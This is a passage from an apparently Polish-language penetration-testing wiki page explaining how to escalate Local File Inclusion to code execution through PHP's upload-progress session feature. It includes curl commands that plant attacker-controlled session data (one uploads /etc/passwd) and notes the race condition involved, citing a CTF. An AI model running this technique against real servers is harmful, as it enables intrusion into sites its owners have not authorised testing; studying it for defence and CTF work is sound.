# LFI2RCE za pomocą PHP_SESSION_UPLOAD_PROGRESS {{#include ../../banners/hacktricks-training.md}} ## Podstawowe informacje Jeśli znalazłeś **Local File Inclusion**, nawet jeśli **nie masz sesji** i `session.auto_start` jest `Wyłączone`. Jeśli **`session.upload_progress.enabled`** jest **`Włączone`** i dostarczysz **`PHP_SESSION_UPLOAD_PROGRESS`** w **danych POST w formacie multipart**, PHP **włączy sesję dla Ciebie**. ```bash $ curl http://127.0.0.1/ -H 'Cookie: PHPSESSID=iamorange' $ ls -a /var/lib/php/sessions/ . .. $ curl http://127.0.0.1/ -H 'Cookie: PHPSESSID=iamorange' -d 'PHP_SESSION_UPLOAD_PROGRESS=blahblahblah' $ ls -a /var/lib/php/sessions/ . .. $ curl http://127.0.0.1/ -H 'Cookie: PHPSESSID=iamorange' -F 'PHP_SESSION_UPLOAD_PROGRESS=blahblahblah' -F 'file=@/etc/passwd' $ ls -a /var/lib/php/sessions/ . .. sess_iamorange In the last example the session will contain the string blahblahblah ``` Zauważ, że z **`PHP_SESSION_UPLOAD_PROGRESS`** możesz **kontrolować dane wewnątrz sesji**, więc jeśli dołączysz swój plik sesji, możesz dołączyć część, którą kontrolujesz (na przykład kod powłoki PHP). > [!NOTE] > Chociaż większość samouczków w Internecie zaleca ustawienie `session.upload_progress.cleanup` na `Off` w celach debugowania, domyślne ustawienie `session.upload_progress.cleanup` w PHP wciąż wynosi `On`. Oznacza to, że postęp przesyłania w sesji będzie czyszczony tak szybko, jak to możliwe. Tak więc będzie to **Race Condition**. ### CTF W [**oryginalnym CTF**](https://blog.orange.tw/2018/10/), w którym ta technika jest komentowana, nie wystarczyło wykorzystać Race Condition, ale zawartość ładowana musiała również zaczynać się od ciągu `@